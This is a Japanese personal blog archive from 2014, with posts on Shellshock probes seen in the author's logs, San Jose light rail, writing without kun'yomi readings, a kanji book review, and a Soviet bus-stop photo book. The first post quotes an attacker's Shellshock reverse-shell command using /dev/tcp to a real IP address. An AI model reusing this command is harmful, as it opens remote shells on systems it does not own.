2014-09-26

/dev/tcpによるbashのソケット通信

件のbashの脆弱性が残っていることを期待したアクセスについて、24時間ほど前には来てなかったんですが、さきほどログを見てみたらちょっとだけ来てました。

ログに残るのは User-Agent ぐらいなのですが、ほかのフィールドで試している輩もいることでしょう。

アクセス元を逆引きしてみたんですが、クラウドサービスばっかりでした(一個だけ shodan.io なるドメインの下のIPアドレスからあったのだけど、なんだろう……)。

さて、() { :;}; の後になにをやってるのか、というのなんですが、一つ THIS IS VULNERABLE と echo するだけという人がいました。警告のつもりなのか、手動で何か確認しているのかな。あとはpingだな……と思ってたんですが、ちょっと特異なものが。
/bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
えっ/dev/tcp ってなにそれ、と思ったんですが、Bashの独自拡張で、このパス名を使ってソケット通信する機能があるんですね。全然、まったく、知らなかった。ファイルシステムとかFUSEのようなレイヤじゃなくてシェルでそんなことやるわけ? まじで……。

今回の脆弱性が発見されるまで変数定義で関数定義できるという機能も知りませんでしたし、bashって思ったよりヤバいやつだなと思いました。/bin/shに使うようなものではないかな……。

2014-09-14

電車に乗る

さいきん引っ越したのだが、引越し先から歩いて15分ほどのところにライトレールの駅があることに気づいた。

アメリカは車社会だとよく言われる。サンフランシスコなどの都市部ではそうでもないのだと思うが、シリコンバレーは概して田舎なので、やっぱり車は必須だ。車なしで生活するのは、ほんとうに来たばかりの人か、何かの企画でチャレンジしている人かだろう。
とある週末の昼、家のちかくの道。速度制限は45mphなので車は時速70kmぐらいで走っている
公共交通機関もバスと路面電車があるにはあるんだけど、まあなんかしょぼいというのもあり、こちらに移住して2年間、あるいはそれ以前の出張も含めて、一度も乗ったことがない(カルトレインはあるけれど)。東京オフィスで働いていたころに近くのチームにいたこの辺の生まれの同僚は、二十数年生きてきて、いちどもシリコンバレー・ベイエリア近辺のバスに乗ったことがないらしいと聞いた。

が、駅があるなら使ってみても良いかもしれない。サンノゼのダウンタウンに行くのはそれなりに便利なのかも?

ここで軽くシリコンバレーの公共交通機関を説明しておこう。

サンフランシスコ市と、シリコンバレーの中心地とも言えるサンノゼ市のあいだは約60kmほど離れている。この距離は東京駅とつくば駅の距離に近い。サンフランシスコからサンノゼを経由してもう少し南まで行くのがカルトレインという大仰な列車で、サンフランシスコとサンノゼのあいだでだいたい1時間半ぐらいかかるかな……。本数は少ないし遅いしうるさいしで評判はよろしくない(なのでイーロン・マスクが改善案とかを出してみたりするわけだ)。が、いずれにせよこれは長距離用列車である。TXみたいなものですね。

それから、サンフランシスコ市内とベイブリッジを挟んだ対岸であるイーストベイまで伸びるのがBARTという路線。これはぼくも乗ったことがある。サンフランシスコ国際空港から乗れる電車はこれしかない。これに乗ってカルトレインのMillbrae駅とかに行く、というのが出張者の定番だ。

で、シリコンバレーの位置する、いわゆるサウスベイあたりの公共交通を担うのがVTAというやつで、VTAはバスと路面電車の両方を運行させている(BARTをイーストベイからさらに南まで到達させる計画も進行しているが、これはまだあと数年はかかる見通し)。この路面電車のことをライトレールと呼んでいる(ってライトレールって一般名詞だったんですね知らなかった)。

VTAライトレールには2つしか路線がなく、一方がマウンテンビュー駅から北にぐるっと回ってサンノゼダウンタウンを通り過ぎ、また西に戻ってキャンベル市のほうまでいくルート、もうひとつがアラムロック(サンノゼ東部)から北にぐるっとまわって同じくサンノゼダウンタウンを抜け、南西のほうに行くルート。
この2つの路線はサンノゼの北の方で合流し、そのままダウンタウンのあたりまでは同じ駅を使う。
ライトレール。まあこういう感じの路面電車。3両編成ぐらい
乗車賃は固定で1回$2。駅に券売機があるのと、サンフランシスコなどで使われるクリッパーカードでも乗車できる。もっとも、今回乗った時は検札がなかった。
ぼくの乗車駅からサンノゼダウンタウンまでは、だいたい20-30分程度の乗車時間のようだった。バスみたいに降車するときは知らせないといけない(なんか接触感知式のスリットのような部分をさわる)。駅に人影がなく降車客もいない場合はそのまま停止せずに通りすぎている。ダウンタウンなど人通りが多く、ホームの席でのんびり休憩している人なども多い駅では、ちゃんとホームで立って待ってないと止まってくれないようだった。

乗った感想じたいはとくになし。地元民のつかうふつうの電車だ。しいていうなら、車内の案内表記が英語とスペイン語にくわえてベトナム語(たぶん)と中国語があるのがシリコンバレー風かなぁ……。その写真もとっておけばよかったか?

ちなみにサンノゼ市はとうとう人口が100万人をこえたようで、実はサンフランシスコよりも人口が多い(ウィキペディアによるとサンフランシスコは80万人ほど)。ダウンタウンも案外それっぽくなっており、それでいて治安も(そんなには)悪くない。まあ人口の大半はハイテク産業と思われるのでサンフランシスコほど文化的に成熟しておらず、べつにかっこいい街ではないのは確かだが(人口の大半は郊外の住宅地と思われる)、ダウンタウンのあたりはそんなにダメな感じでもないと個人的には思う。
ちなみに、シリコンバレーのあたりのモールやダウンタウンにある駐車場はだいたい無料で車を停められるが、サンフランシスコ市内やサンノゼダウンタウン近辺は有料駐車場ばかり。といった事情を考えると、電車で往復$4なら悪くない気もする。ま、そんなに行く用事もないわけだけど……。
b2 coffee
そんなわけで今回も「とりあえずライトレールに乗ってみる」というのが目的だったので、ついたはいいがやることはなく、とりあえず b2 coffee でコーヒーを飲んで帰ってきた。サンタクララにあるBellanoというカフェの支店で、なかなかオススメ。豆はsightglassのを使っている。あとほかにもPhilz Coffeeもダウンタウンにありますね。

2014-09-11

ひらがなでかくこと

http://yoriyuki.info/ja/blog/2014/09/09/kunyomi/

かわばたやすなりが そんなことを いっていたとは。やはり じだいは ぜんぶ ひらがな なのか。

くにざかいの ながい トンネルを ぬけると ゆきぐに であった。

ふむ。かわばたやすなり ぜんぜん よんでないから、ほかに れいぶんが でてこない。わ

ただ、もんだいの「訓読みのはなし」でも、この ぼうとうが くにざかい なのか こっきょう なのか あいまいで、くにざかい という せつが ゆうりょくだ、という はなしも でてきた。さくしゃの いとが そうであっても、かんじで かかれるものは どうしても あいまいになる。そういう しそうが あるなら、やっぱり、ひらがなで かくべき なのかもしれない。

くんよみを つかわずに かく、というのを やってみた わけだが、やってみて おもったのは、ひらがなだけで こうせいされる パートは すごく よみにくくなるし、ふしぜんなので、かえって、ひらがなが つづきすぎない ように、じゅくごに いいかえたり、そういうことを する はめになった。ふだんなら、こんなふうに じゅくごを つかわないんだけどな、って、ほんまつてんとう だね。わかちがきを すれば よかったのだが、いっけん ふつうの にほんごに みえる、というのも もくてき だったため、わかちがきは できなかった。

そんで ひらがなといえば ゆうめいな ひろしまさんの ブログを よみかえしてみて、いろいろ おもったけど、まあ それは よだんなので ごじつ きがむいたら かいてみよう。

しかし、やっぱ ひろしまさん ほど エクストリームには なれないし、ひらがなだけに なるのは、じぶんには ちょっと むりだな。まだ。

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さて、リンクさきの本題である正書法については、しょうじきまったくわかんないんだけど、日本語については、韓国語とくらべるのがいいのではないか?という気がする。韓国語も、むかしは漢字とまぜがきで、訓読みのようなことをしていたようだ、と、くだんの本にかいてある。

ハングルがうまれたのは15世紀みたいだけど、公的につかわれるようになったり、正書法がうまれたのは、けっこう最近のことみたいだ。わかちがきも19世紀にはいってからみたい。

正書法が明文化されたのは日本統治時代らしいんだけど(ウィキペディア情報)、これには漢字利用はふくまれていたのかな。くわしく調べると、興味深い話が出てきそうにおもう(が、ぜんぜんよくわかんないので誰か調べて教えてくれると嬉しい)。

2014-09-09

笹原宏之『訓読みのはなし』。おもしろいんだが、疑問はつのる



読みのはなし 漢字文化と日本語 (角川ソフィア文庫)

なんとなく漢字の本をよもう、と『訓読みのはなし』。中国でうまれた漢字が日本にやってきて、日本なりのよみかたである訓読みを発展させていったわけだけれども、そのありかたにはものすごくたくさんのバリエーションがあるわけで、その多岐にわたるいろんな訓読みのありかたを、いろいろ説明した本。

この本のユニークなところがあるとすれば、韓国語(朝鮮語)やベトナム語などにおける漢字利用のありかたもあわせて参照しつつはなしをすすめているところで、これが本全体におくゆきをあたえている。

ただ難点をいうと、まとまりがない。

こういうはなしがある、ああいうことがある、こういう場合にはこうよむが、こうならこうだ、ナントカ地方にはこれこれこういう地名がある、こんなめずらしい苗字もある、というのが、ごちゃっとならんでいる。そんな印象。

また本のなかでは相互参照もおおいのだが、訓読みがきわめて複雑であり、ひとつの現象をさまざまな側面からみることができるからだ、ともいえるが、たんに内容が整理されていないだけなのかもしれないというきもする。というか整理のしかたがちがうのかも、とおもう。たとえば、地名や人名は、またべつに説明したほうがよかったんじゃないかな。

そして、著者がいわんとしていることも、いまひとつわからなかった。漢字やその訓読みの文化をかたることで、おくぶかいなあ、おもむきぶかいなあ、とあじわう、ということなのだろうか?

たしかに、かかれている個別の事例はそれぞれになかなかおもしろく、トリビアをおしえてもらうような、そういうたのしさはある。

が、よんでいてぼくが個人的にかんじたのはむしろ、ここまでメンドくさいことをするぐらいなら、漢字なんてやめちまえばよかったのに、ということである。この本にかいてあることによると、微妙な事例もあるにはあるが、韓国語でもベトナム語でも、漢字にたいしておなじ意味の現地語のよみをあてるという「訓読み」の事例はない、もしくはきわめて限定的だ、ということだそうである。だがなぜか漢字文化圏のなかでも日本語だけは訓読みを発達させており、これがいまでもつづいている。なお、過去には韓国語でも訓読みがあったらしいんだが、きえたらしい。

きえた、というと文化の断絶のようにもきこえるが、これを追放に成功した、といえば、むしろいいことのようにおもえる。日本語からも訓読みを追放してしまえばいいんではないか、ともおもう(もちろん国語学者とか研究者はおおいに知識をたくわえてくれればいいし、過去の文献をしらべるには、そういう知識は必要なんだけど、一般人の言語使用は、それと関係がない)。

たとえば、「はかる」とよめる漢字は130個以上あるんだって。「生」のよみかたも3ケタあるんだって。そういうのをよんで、日本語ってすごいなあ、とかおもうんだろうか。アホらしいな、近代化したときに追放しておくべきだったな、というのが忌憚ないぼくの感想なのですが。

もちろん、訓読みがなくなったからとっても、音読みにも漢音や呉音など複数の音がでてくるし、日本語には重箱読みや湯桶読みのようなヤヤコシイものがいっぱいあって、さらにいえば、音読みなのか訓読みなのか慣用的なあて字なのか意味不明なのかわからないようなものもいっぱいあるようで、はなしはそう単純でもない。

となれば、ぜんぶひらがなでええやん、というきもしていて、たぶん、なれればそれでも大丈夫だとおもう。ぼくはそこまでエクストリームには、ならないとおもうけど。

実はこの感想も、ぜんぶひらがなでかこうかなとちょっとおもったんだけど、そうするときっと読者が激減するだろうな、とおもったので、ひとまずあきらかな訓読みを追放してみた(本のタイトルになっているため「訓読み」だけはのこしているが)。いかがですか? わりとイケないこともない、ような気もするんだけど。

2014-09-06

旧ソ連圏のバス停の写真集

Kickstarterで支援してたSoviet Bus Stopというプロジェクトからモノが届きました。

旧ソ連圏を旅して撮影したバス停の写真ばかりをあつめた写真集というニッチなプロジェクトながら1000人以上の支援を集め(といっても全世界で1000人だからニッチだな)、ぶじ刊行にこぎつけたということです。
著者である写真家のChristopher Herwigさんのサイトからサンプルがいくらか見られます。

ロンドンからロシアまで旅行したときに、道すがら出くわすバス停がひとつひとつ違っていて、ユニークな意匠が凝らされているということに気づき、写真を撮っていって貯めていたものをまとめたということのようです。

これなんか良いですよねえ。鎌と槌の意匠が凝らされていて超ソ連。
比較的頑丈なものが多いようで、整備もされ、まだ実際に使われているようですが(普通に待っている現地人らしき人もいるので)、一方で古びているのもかっこいい。

本としてもハードカバーで、それなりにちゃんとしたつくりで、ISBNも入ってます。そのうちふつうに買えるようになるかもしれません。支援者に送られたのはシリアルナンバーつきの限定版のようですが、まあ限定版である必要はないのかもw